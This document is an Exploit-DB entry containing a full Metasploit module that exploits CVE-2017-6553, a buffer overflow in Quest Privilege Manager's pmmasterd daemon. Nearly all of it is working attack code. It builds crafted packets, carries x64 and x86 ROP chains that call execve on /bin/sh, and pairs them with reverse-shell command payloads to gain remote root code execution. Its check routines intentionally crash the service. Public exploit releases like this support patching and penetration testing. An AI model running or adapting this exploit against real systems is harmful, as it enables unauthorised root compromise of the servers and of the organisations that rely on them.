Quest Privilege Manager - pmmasterd Buffer Overflow (Metasploit)

EDB-ID:

42010




Platform:

Linux

Date:

2017-05-15


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Quest Privilege Manager pmmasterd Buffer Overflow',
      'Description'    => %q{
        This modules exploits a buffer overflow in the Quest Privilege Manager,
        a software used to integrate Active Directory with Linux and Unix
        systems. The vulnerability exists in the pmmasterd daemon, and can only
        triggered when the host has been configured as a policy server (
        Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
        condition exists when handling requests of type ACT_ALERT_EVENT, where
        the size of a memcpy can be controlled by the attacker. This module
        only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
        vulnerable, but not supported by this module (a stack cookie bypass is
        required). NOTE: To use this module it is required to be able to bind a
        privileged port ( <=1024 ) as the server refuses connections coming
        from unprivileged ports, which in most situations means that root
        privileges are required.
      },
      'Author'         =>
        [
          'm0t'
        ],
      'References'     =>
        [
          ['CVE', '2017-6553'],
          ['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
        ],
      'Payload'        =>
        {
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
            }
        },
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Targets'        =>
        [
          ['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
            {
              exploit: :exploit_x64,
              check: :check_x64
            }
          ],
          ['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
            {
              exploit: :exploit_x86,
              check: :check_x86
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Apr 09 2017',
      'DefaultTarget'  => 0
      )
    )

    register_options(
      [
        Opt::RPORT(12345),
        Opt::CPORT(rand(1024))
      ]
    )
  end

  # definitely not stealthy! sends a crashing request, if the socket dies, or
  # the output is partial it assumes the target has crashed. Although the
  # daemon spawns a new process for each connection, the segfault will appear
  # on syslog
  def check
    unless respond_to?(target[:check], true)
      fail_with(Failure::NoTarget, "Invalid target specified")
    end

    send(target[:check])
  end

  def exploit
    unless respond_to?(target[:exploit], true)
      fail_with(Failure::NoTarget, "Invalid target specified")
    end

    request = send(target[:exploit])

    connect
    print_status("Sending trigger")
    sock.put(request)
    sock.get_once
    print_status("Sending payload")
    sock.put(payload.encoded)
    disconnect
  end

  # server should crash after parsing the packet, partial output is returned
  def check_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    body = "PingE4.6 .0.0.27"
    body << rand_text_alpha(3000)

    request = head + body

    connect
    print_status("Sending trigger")
    sock.put(request)
    res = sock.timed_read(1024, 1)
    if res.match? "Pong4$"
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Unknown
    end
  end

  # server should crash while parsing the packet, with no output
  def check_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    body = rand_text_alpha(3000)

    request = head + body

    connect
    print_status("Sending trigger")
    sock.put(request)
    begin
      sock.timed_read(1024, 1)
      return Exploit::CheckCode::Unknown
    rescue ::Exception
      return Exploit::CheckCode::Appears
    end
  end

  def exploit_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68

    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
      0x408f88,   # pop rdi, ret
      0x4FA215,   # /bin/sh
      0x40a99e,   # pop rsi ; ret
      0,          # argv  @rsi
      0x40c1a0,   # pop rax, ret
      0,          # envp @rax
      0x48c751,   # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
      0xcacc013,  # padding
      0x408a98,   # execve,
      0
    ].pack("Q*")

    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(1600)
    body << ropchain
    body << rand_text_alpha(0x700 - body.size)

    head + body
  end

  def exploit_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x108 ].pack("N")
    head << [ 0xcc ].pack("N")
    head << "\x00" * 68

    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
      0x8093262,  # ret
      0x73,       # cs reg
      0x804AE2C,  # execve,
      0xcacc013,  # padding
      0x8136CF0,  # /bin/sh
      0,
      0
    ].pack("V*")

    pivotback = 0x08141223  # sub esp, ebx ; retf
    writable = 0x81766f8    # writable loc

    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(104)
    body << ropchain
    body << rand_text_alpha(0xb4 - body.size)
    body << [0x50].pack("V")
    body << rand_text_alpha(0xc4 - body.size)
    body << [pivotback].pack("V")
    body << [writable].pack("V")
    body << rand_text_alpha(0x108 - body.size)

    head + body
  end
end